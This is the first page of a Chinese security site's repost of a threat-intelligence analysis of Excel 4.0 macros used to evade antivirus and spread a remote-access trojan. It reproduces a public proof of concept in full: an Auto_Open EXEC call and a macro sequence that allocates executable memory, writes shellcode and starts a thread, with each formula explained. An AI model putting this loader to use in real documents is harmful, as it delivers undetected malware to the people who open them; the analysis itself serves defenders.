欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

利用Excel 4.0宏躲避杀软检测的攻击技术分析

来源:本站整理 作者:佚名 时间:2018-11-01 TAG: 我要投稿

2018年10月18日,360威胁情报中心首次捕获到一例利用Excel 4.0宏传播Imminent Monitor远控木马的在野攻击样本。而这离2018年10月6日国外安全厂商Outflank的安全研究人员首次公开使用Excel 4.0宏执行ShellCode的利用代码仅仅过去了10余天。虽然Excel 4.0宏技术已经发布超过20年,并且在该技术出现早期就被经常用于制作宏病毒,但事实上,由于Microsoft很早就使用VBA宏(Visual Basic for Applications)来代替Excel 4.0宏技术,这导致Excel 4.0宏并不为大众所熟知。并且由于Excel 4.0宏存放在Excel 97 – 2003格式(.xls,复合二进制文件格式)的Workbook OLE流中,这使得杀毒软件解析并检测Excel 4.0宏变得非常困难。
360威胁情报中心详细分析了Excel 4.0宏在Excel文档中的存储方式,并通过深入研究发现:在使用一些技巧隐藏Excel 4.0宏并配合执行一些经过特殊处理的ShellCode后,可以完美的躲避几乎所有杀毒软件的静态和动态查杀 并执行任意恶意代码。由于基于Excel 4.0宏的新型利用技术已经被公开,且已经出现了利用该技术传播远控木马的在野利用,所以360威胁情报中心发布该分析报告并提醒预防此类攻击。
极强的免杀能力
360威胁情报中心通过深入分析Excel 4.0宏在复合二进制文件格式中的存储方式,构造了可以执行远程任意恶意代码的Exploit样本。经测试,国内外多款著名杀毒软件均无法对这类样本实现查杀:
卡巴斯基静态免杀
卡巴斯基动态免杀
ESET-NOD32静态免杀
ESET-NOD32动态免杀
POC分析
Outflank的安全研究人员公开的POC样本在VirusTotal上查杀效果如下,截止目前未有杀软可以查杀,如果配合一些特殊的技巧还可以躲过杀软的动态查杀:
执行过程分析
下图是Outflank的安全研究人员给出的测试Excel4.0宏的样本内容:
由于第一行第一列单元格名称被设置成“Auto_Open”,所以当打开此表格并点击了启用宏内容按钮时,Excel将会自动将此表格中的内容当成Excel 4.0宏执行。如果需要分析其执行过程,可以选中第一行第一列数据,右键选择“执行”菜单:
然后在弹出的对话框中“位置”处选择本Excel文件,然后点击“单步执行”按钮:
最后在弹出的对话框中可以看到公式内容,以及“单步执行”、“单步跳过”、“求值”等按钮:
从调试过程来看,Excel首先执行第一行第一列中的宏代码,即=EXEC(“calc.exe”),该指令执行完成后将会弹出计算器,同理可调试剩余两个公式,以下是三个公式的具体含义:
公式内容
功能
=EXEC(“calc.exe”)
内部调用WinExec函数打开计算器
=ALERT(“Hello, World”)
内部调用MessageBox函数打开对话框
=HALT()
标识Excel 4.0宏结束,类似C语言return指令
样本执行结果是打开计算器并弹出内容为“Hello, World”的对话框:
使用Excel 4.0宏执行ShellCode
由于Excel 4.0宏语言包括函数调用以及上百个内建函数,攻击者可以编写子程序或调用内建函数实现同VBA提供相同功能的恶意代码,下图是Outflank的安全研究人员提供的例子:
下表是各个宏公式具体含义:
公式内容
功能
=REGISTER(“Kernel32″, “VirtualAlloc”, “JJJJJ”, “VAlloc”, , 1, 9)
设置kernel32!VirtualAlloc别名为VAlloc
=VAlloc(0,1000000,4096,64)
调用VAlloc函数分配大小为1000000,内存属性为 PAGE_EXECUTE_READWRITE的内存
=REGISTER(“Kernel32″, “WriteProcessMemory”, “JJJCJJ”, “WProcessMemory”, , 1, 9)
设置kernel32!WirteProcessMemory别名为WProcessMemory
=SELECT(R1C2:R999:C2,R1C2)
选择第一行第二列所有数据
=SET.VALUE(R1C3, 0)
设置第一行第三列数据为0
=WHILE(ACTIVE.CELL()”END”)
循环读取刚刚选择的数据直到“END”标识
=WProcessMemory(-1, R2C1 + R1C3 * 255,ACTIVE.CELL(), LEN(ACTIVE.CELL()), 0)
将刚刚读取的内容写入由VAlloc分配的内存地址
=SET.VALUE(R1C3, R1C3 + 1)
将表格R1C3的值加一
=SELECT(, “R[1]C”)
 
=NEXT()
下一次循环
=REGISTER(“Kernel32″, “CreateThread”, “JJJJJJJ”, “CThread”, , 1, 9)
设置kernel32!CreateThread别名为CThread
=CThread(0, 0, R2C1, 0, 0, 0)
调用CThread函数创建线程并设置线程入口为由VAlloc分配的内存
=HALT()
标识子过程结束,类似C语言的return
总体来说,该Excel 4.0宏代码实现的功能逻辑是:
第1步:调用kernel32!VirtualAlloc分配一段大小为1000000的可读可写可执行内存
第2步:循环读取第二列的数据并调用kernel32!WriteProcessMemory函数写入第1步分配的内存直到END标志
第3步:调用kernel32!CreateThread函数创建线程,并设置线程入口为第1步分配的内存
经过这3步操作,已然实现利用Excel4.0宏执行ShellCode的目的。
解析XLS中的Excel 4.0宏
Execl文件(.xls)解析
Execl 4.0宏样本使用的XLS文件其实是一个MS-CFB(Microsoft Compound File Binary File)文件,而MS-CFB文件采用类似FAT文件系统的结构保存数据。很多现有工具可以解析该结构,比如OffVis、oletools、Structured Storage eXplorer等。学习MS-CFB文件结构推荐使用OffVis,以下是用该工具打开的效果图:

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载